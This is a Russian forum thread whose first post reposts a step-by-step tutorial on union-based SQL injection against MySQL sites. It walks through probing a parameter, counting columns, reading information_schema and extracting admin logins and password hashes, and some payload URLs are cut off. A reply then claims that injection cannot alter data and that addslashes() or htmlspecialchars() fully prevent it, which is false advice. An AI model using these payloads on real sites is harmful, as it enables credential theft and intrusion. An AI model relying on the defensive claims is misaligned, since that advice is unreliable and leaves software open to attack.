SQL injecton в сервера БД My SQL

рой

Старейшина
Репутация
110 / 464
Вообщем.. курил инет на поиск того как настроить AppServ чтобы юзверя могли локально видеть мой сайт.. и случайно наткнулся вот на такую статью, может заинтересует :)

SQL-injecton

Сегодня мы поговорим о достаточно распространенном баге - SQL - injecton в БД MySQL.

SQL injectionSQL injection — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.

Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.

Атака типа внедрения SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.

Мы будем расматривать атаку на сервер MySQL 5 ветки...
Для обнаружения SQL инъекции чаще всего пользуются манипулированием числовыми параметрами в GET

Итак имеется сайт http://site.com/main.php?id=12

тут id=12 и есть числовой параметр. Итак,проверим её на уязвимость. В конец ссылки добавляем одиночную
кавычку '.
http://site.com/main.php?id=12'
Страница загрузилась неправильно и выдала нам SQL ошибку: ну например вот такую - Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/.lionheart/ecodelaware/ecodelaware.com/place.php on line 107
Эта ошибка говорит нам о sql - injecton.
Следующим шагом нам необходимо узнать количество таблиц. Это делается при помощи команды order+by
http://site.com/main.php?id=12+order+by+1/* - при введении этой команды ошибка должна исчезнуть потомучто количество таблиц больше чем 1...
http://site.com/main.php?id=12+order+by+10000/* - ошибка появляется вновь потомучто количество таблиц меньше чем 10000
http://site.com/main.php?id=12+order+by+10/* - ошибка исчезла а при введении http://site.com/main.php?id=12+order+by+11/* появилась, из этого следует что количество таблиц 10.
Следующий шаг это вывод таблиц и просмотр версии,БД,юзера.
Это производится командой union+select+, а перед id=12 ставим минус "-"
http://site.com/main.php?id=12+union...5,6,7,8,9,10/*
На экран выходят некоторые цифры таблиц например 2. 5. 8 .10
Это те цифры через которые мы будем просматривать информацию сайта...
Например цифра 2.
http://site.com/main.php?id=12+union+selec...,5,6,7,8,9,10/*
Просмотрим версию - для этого вместо "2" ставим version()
http://site.com/main.php?id=12+union+selec...,5,6,7,8,9,10/*
И мы видим что ветка 5 или 4.
В 5 ветки MySQL доступен просмотр таблиц с помощью команды information_schema.tables
http://site.com/main.php?id=12+union+selec...schema.tables/* - мы увидим названия таблиц. Находим таблицу в которой как мы думаем хранятся юзвери... например она называется users... Подставляем http://site.com/main.php?id=12+union...0+from+users/* - ошибки нет,
Поросматриваем логин и пасс, это можно сделать вручную или командой для просмотра столбцов - information_schema.columns
http://site.com/main.php?id=12+union...hema.columns/*
Итак мы нашли таблицу юзверей, или логины и пароли в столбце... подставляем...
http://site.com/main.php?id=12+union+selec...10+from+users/*
И на экране появится логин и пасс админа вместо цыфры 2...
Если это не админ через команду limit перебираем юзверей...

Вот в принципе и все...

в ветке MySQL №4 information_schema - неработает все осуществляется ручками...

Видеомануал доступен ------> ссылке



p.s если есть подобная тема *wink* не ругайте)

Хотелось бы развеять один как мне кажется распространенный, по крайней мере у новичков, миф. С помощью sql-инъекции нельзя нанести вред БД (наверное поэтому она так и называется - инъекция). Нельзя что-либо удалить, испортить таблицу. Просто потому что сам синтаксис sql (а именно оператора UNION) не позволяет этого.

С помощью скули можно только "украсть" определенную информацию из БД, и то это стоит довольно больших усилий, поскольку это требует от злоумышленника буквально "наощупь" узнать структуру полей БД.

Пожалуй, наиболее страшное (и важное для злоумышленника), что может нести за собой скуль - так это кража md5 пароля. Важно хранить в базе данных только зашифрованные пароли, чтобы злоумышленнику при "чтении" базы не досталось все в готовом виде.

А вообще от скули есть очень эффективная панацея - php функция addslashes(), которая экранирует специальные символы, или же можно использовать intval(), которая просто преобразует строку в целое число, прочищая ее от мусора (если в скрипте предусмотрены только целые числа в качестве входных параметров).

А вообще панацея и от скули и от xss атаки можно сказать одновременно - нехитрая функция htmlspecialchars со следующим синтаксисом:

PHP код:
Код:
$textvar = htmlspecialchars($textvar, ENT_QUOTES);
Дополнительный параметр ENT_QUOTES обеспечивает преобразование в специальные html символы еще и одиночной кавычки (а не только двойной).
 
А это правда существует? С помощью правильного запроса можно что-то вытащить из БД при условии что админ криворукий ламер? :)
 
Этим материалом мало что на штурм возьмешь.
 
Сверху